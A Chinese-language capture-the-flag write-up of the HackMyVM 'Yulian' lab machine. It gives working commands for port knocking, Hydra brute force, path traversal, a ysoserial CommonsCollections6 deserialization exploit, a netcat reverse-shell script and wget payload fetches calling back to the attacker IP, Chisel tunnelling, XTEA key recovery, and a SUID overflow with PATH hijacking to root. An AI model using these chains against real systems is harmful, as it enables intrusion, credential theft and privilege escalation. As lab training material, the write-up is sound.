跳到主要内容

HackMyVM Yulian 通关记录|端口敲门、Java 反序列化、XTEA 解密与 SUID PATH 劫持提权

靶机链接:Yulian


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Yulian 宿主机192.168.1.111运行 Docker 引擎,暴露端口 22, 80
容器1 (Spring)172.17.0.3暴露端口 8080 (需敲门解锁)
容器2 (SSH)172.17.0.2内网机器,运行 SSH 与 Nginx

攻击流程

点击展开

攻击链摘要

阶段关键证据作用
服务发现22/tcp, 80/tcp, 隐藏 8080/tcp明确主要攻击面
端口敲门test.c PRNG 逻辑获得开放 8080 端口的序列
Web 登录admin:123457爆破获得后台权限
任意文件读取/download?file=/root/user.txt获得 User Flag
反序列化 RCE/deserialize 接口获取容器初始据点
内网隧道容器2 172.17.0.2搭建 Chisel 隧道进行 SSH 爆破
逆向解密/usr/bin/userLogin XTEA 算法解密获取宿主机用户 ldz 的私钥
Root 提权SUID /opt/vuln利用缓冲区溢出和 PATH 劫持获取 root

0x02 侦察与信息收集 (Reconnaissance)

1. 发现端口敲门 (Port Knocking)

访问 80 端口的 JS 终端模拟器,发现隐藏的 test.c:

这类从前端 JavaScript、注释和静态资源里提取隐藏线索的思路,可参考知识库:robots.txt 与静态资源线索分析

srand(114514);
for(int i = 0; i < 114514; i++) { rand(); }
printf("%d\n", rand()%65535); // → 6440
printf("%d\n", rand()%65535); // → 17226
printf("%d\n", rand()%65535); // → 31925

执行 nmap 敲门序列以解锁 8080 端口:

# 敲门序列: 6440 → 17226 → 31925,之后 8080 端口开放
nmap -Pn -p 6440 192.168.1.111
nmap -Pn -p 17226 192.168.1.111
nmap -Pn -p 31925 192.168.1.111

2. Web 服务暴力破解登录

使用 Hydra 爆破 8080 端口的 Spring Boot 应用登录框:

hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 -f \
192.168.1.111 -s 8080 \
http-post-form "/login:username=^USER^&password=^PASS^:Wrong"

凭证: admin:123457


0x03 路径遍历与 User Flag

1. 任意文件读取

登录后通过 /download 接口发现路径遍历漏洞,并读取系统关键文件:

受限文件读取的路径、进程信息和环境变量排查清单,可参考知识库:LFI 任意文件读取与运行时信息收集

# 获取 Session Cookie 后,读取敏感信息
curl -b "auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI=" \
"http://192.168.1.111:8080/download?file=/root/user.txt"

读取结果:

  • /etc/passwd → Alpine Linux
  • /proc/1/environJAVA_VERSION=8u212, HOME=/root
  • /proc/1/cmdlinejava -jar javaserver-0.0.1-SNAPSHOT.jar
  • /root/user.txtUser Flag: flag{ce6560c893e5cfec48e0fd186dc03718}

2. HMAC 密钥与 API 分析

利用文件读取漏洞下载了 javaserver-0.0.1-SNAPSHOT.jar 并反编译。发现:

  • 认证算法使用了 HMAC-SHA256 (SECRET_KEY = 123@456@789)
  • 暴露了 /deserialize 接口,接收 POST 字节数组,并调用存在漏洞的 CommonsCollections

0x04 Java 反序列化 RCE (CommonsCollections6)

由于系统是 Java 8 环境,我们生成 CommonsCollections6 payload 获取 Shell。

1. 准备反弹 Shell

cat > rev.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.113 4444 > /tmp/f
EOF

python3 -m http.server 8888

另开一个终端监听:

nc -lvnp 4444

2. 生成并发送 Payload

这里使用 JDK8 和 ysoserial 生成 CommonsCollections6 payload。服务端返回 404 是正常现象,因为异常被 Spring 处理机制捕获,但底层命令仍然会执行。

/tmp/jdk8u432-b06/bin/java -jar ysoserial-all.jar \
CommonsCollections6 "wget -O /tmp/rev.sh http://192.168.1.113:8888/rev.sh" > payload-wget.bin

/tmp/jdk8u432-b06/bin/java -jar ysoserial-all.jar \
CommonsCollections6 "chmod +x /tmp/rev.sh" > payload-chmod.bin

/tmp/jdk8u432-b06/bin/java -jar ysoserial-all.jar \
CommonsCollections6 "sh /tmp/rev.sh" > payload-shell.bin

用同一个 Cookie 依次投递三个 payload:

import requests

url = "http://192.168.1.111:8080/deserialize"
cookies = {"auth": "admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI="}
headers = {"Content-Type": "application/octet-stream"}

for name in ["payload-wget.bin", "payload-chmod.bin", "payload-shell.bin"]:
with open(name, "rb") as f:
resp = requests.post(url, data=f.read(), headers=headers, cookies=cookies)
print(name, resp.status_code)

获取到了 容器1 (172.17.0.3) 的 Root Shell!


0x05 内网穿透与 SSH 爆破

1. 发现容器2与资产扫描

为了寻找进一步的攻击面,我们在拿下的容器1内上传 fscan (或运行 Ping 探测脚本) 对 172.17.0.0/24 网段进行全面扫描:

# 上传并执行 fscan 进行内网扫描
/tmp/jdk8u432-b06/bin/java -jar ysoserial-all.jar \
CommonsCollections6 "wget -O /tmp/fscan http://192.168.1.113:8888/fscan" > fscan_dl.bin
# (通过反序列化接口发送执行)

chmod +x /tmp/fscan
./fscan -h 172.17.0.0/24 -p 1-65535 -t 3000

扫描发现:

  • 172.17.0.1: Docker 网关 (宿主机),暴露 SSH(22), Nginx(80), Spring(8080)
  • 172.17.0.2: 存活的容器2,暴露 SSH(22/OpenSSH 10.0) 和 Nginx(80)
  • 172.17.0.3: 当前所在的容器1,暴露 Spring Boot(8080)

2. Chisel 端口转发

将容器2的 22 端口映射到 Kali 的 2222 端口,以进行进一步的利用。

# Kali 上运行服务端
/tmp/chisel server -p 9090 --reverse

# 容器1内运行客户端
/tmp/chisel client 192.168.1.113:9090 R:2222:172.17.0.2:22 &

3. Hydra 爆破

另外,容器2 的 80 端口主页 HTML 注释中泄露了 <!--500-worst-passwords--> 的提示。这指引我们使用常见的 Top 500 弱密码字典(例如从网上或 SecLists 获取的 g0tmi1k-500.txt 常见弱口令集合)爆破 SSH 密码:

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/top-500-worst-passwords.txt \
-O /tmp/g0tmi1k-500.txt

# W=1 延迟避免触发 SSH 速率限制
hydra -l root -P /tmp/g0tmi1k-500.txt -t 1 -W 1 -f ssh://127.0.0.1:2222

爆破结果: root:mountain


0x06 逆向分析与解密 SSH 私钥

登录容器2后,在 /usr/bin/userLogin 发现一个静态链接的二进制文件,以及加密文件 /etc/output.enc。 对应附件可直接下载:userLoginoutput.enc

1. 逆向 userLogin

分析发现其对文件进行了 XTEA 64轮加密:

  • key_from_fixed_string(): 从硬编码地址 (0x79010) 读取16字节密钥 key-for-user-ldz
  • 算法有略微修改或对端序的特定要求。

2. 编写 Python 解密脚本

使用正确的位运算优先级解密:

import struct

def xtea_decrypt(block, key_bytes):
v0, v1 = struct.unpack('<II', block)
k = struct.unpack('<IIII', key_bytes)
DELTA = 0x9E3779B9
sum_val = (DELTA * 64) & 0xFFFFFFFF
for _ in range(64):
# 修复 Python 运算符优先级,加上最外层的括号
v1 = (v1 - ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum_val + k[(sum_val >> 11) & 3]))) & 0xFFFFFFFF
sum_val = (sum_val - DELTA) & 0xFFFFFFFF
v0 = (v0 - ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum_val + k[sum_val & 3]))) & 0xFFFFFFFF
return struct.pack('<II', v0, v1)

with open("/tmp/output.enc", "rb") as f:
flag_ct = f.read()

key = b'key-for-user-ldz'
flag_pt = b''
for i in range(0, len(flag_ct), 8):
if i+8 <= len(flag_ct):
flag_pt += xtea_decrypt(flag_ct[i:i+8], key)

# 清理 padding
flag_pt = flag_pt.rstrip(b'\x00')

with open("/tmp/ldz_id_ed25519", "wb") as f:
f.write(flag_pt)

解密后得到了 ldz 的合法 ED25519 SSH 私钥:

ssh-keygen -y -f /tmp/ldz_id_ed25519
# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbrS2qBgUVXHgKVIUZIhWyyYpbqJsKhWK4X0TwdBrJm ldz@localhost

0x07 SUID 提权与 Root Flag

1. 初始宿主机访问

使用私钥登录宿主机:

ssh -i /tmp/ldz_id_ed25519 ldz@192.168.1.111
# uid=1000(ldz) gid=1000(ldz)

2. 发现 SUID 二进制及漏洞

find / -perm -4000 -type f 2>/dev/null
# 发现可疑文件: /opt/vuln

对应附件:vuln。自定义 SUID 二进制的常规枚举和静态分析流程,可参考知识库:SUID 自定义二进制静态分析

/opt/vuln 会调用 system("cat /etc/shadow") 并且存在缓冲区溢出漏洞可覆写标记变量触发系统调用。 此外,Musl libc 环境下的 system() 不会为 SUID 程序清理环境变量 PATH

3. PATH 劫持利用

利用 PATH 劫持并配合栈溢出完成提权:

# 编写伪造的 cat 命令并赋予执行权限,注意一定要写绝对路径 /bin/cat 避免无限递归
cat > /tmp/cat << 'INNER_EOF'
#!/bin/sh
/usr/bin/id
/bin/cat /root/root.txt
INNER_EOF
chmod 755 /tmp/cat

# 执行溢出同时注入环境 PATH
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + b'\x01\x00\x00\x00')" | PATH=/tmp:/bin:/usr/bin /opt/vuln

执行结果:

uid=0(root) gid=1000(ldz) groups=1000(ldz)
flag{98ecb90d5dcef41e1bd18f47697f287a}

成功获取 Root 权限与 Root Flag


0x08 最终成果 (Final Flags)

User Flag

  • 路径: 容器1 /root/user.txt
  • 内容: flag{ce6560c893e5cfec48e0fd186dc03718}

Root Flag

  • 路径: 宿主机 /root/root.txt
  • 内容: flag{98ecb90d5dcef41e1bd18f47697f287a}

凭据汇总

用户 / 服务凭据来源
Spring Boot 后台 admin123457Hydra 爆破 /login
容器2 SSH rootmountain500-worst-passwords 提示后通过 Chisel 转发爆破
宿主机 ldzED25519 私钥逆向 userLogin,用 XTEA 解密 output.enc

复盘总结

  1. 端口敲门线索来自前端逻辑。 test.c 中固定随机种子和丢弃次数决定了 6440 -> 17226 -> 31925 这组敲门序列,直接解锁隐藏的 8080 Spring 服务。
  2. 文件读取先服务于证据收集。 /download 不只读取 user flag,还确认了 Alpine、Java 8、启动 jar 和后续反序列化入口。
  3. Java 反序列化的关键是环境匹配。 Java 8 与 CommonsCollections gadget 链满足利用条件,接口即使返回 404,底层命令仍可能已经执行。
  4. Docker 内网需要继续横向。 容器1 拿到 root 后不等于宿主机 root,内网扫描、Chisel 反向转发和 SSH 爆破把攻击面推进到容器2。
  5. 逆向要落到可用凭据。 userLogin 中的 XTEA 密钥 key-for-user-ldz 只有和 output.enc 结合后,才转化为可登录宿主机的 SSH 私钥。
  6. SUID + system() + PATH 是危险组合。 /opt/vuln 通过栈变量覆写进入 system("cat /etc/shadow"),而 musl 环境下 PATH 未被清理,让伪造 cat 获得 root 上下文。

附件下载

为了方便复现,本文涉及的逆向样本和加密文件已整理到站点静态目录:

文件说明
userLogin容器2 中用于恢复 XTEA 密钥的静态链接二进制
output.enc/etc/output.enc 加密文件,解密后得到 ldz 的 SSH 私钥
vuln宿主机 /opt/vuln SUID 提权二进制